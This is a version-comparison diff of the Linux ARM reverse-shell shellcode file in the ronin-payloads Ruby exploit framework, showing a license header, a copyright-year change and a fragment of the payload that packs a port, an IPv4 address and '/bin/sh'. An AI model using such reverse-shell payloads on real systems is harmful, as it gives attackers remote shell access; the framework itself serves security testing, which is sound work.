lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb in ronin-payloads-0.1.6 vs lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb in ronin-payloads-0.2.0.rc1

- old
+ new

@@ -1,12 +1,11 @@ -# encoding: ASCII-8BIT # frozen_string_literal: true # # ronin-payloads - A Ruby micro-framework for writing and running exploit # payloads. # -# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com) +# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com) # # ronin-payloads is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. @@ -71,10 +70,10 @@ \ "\x02\x00" \ "#{packed_port}" \ "#{packed_ipv4}" \ \ - "/bin/sh\0" + "/bin/sh\0".b end end end end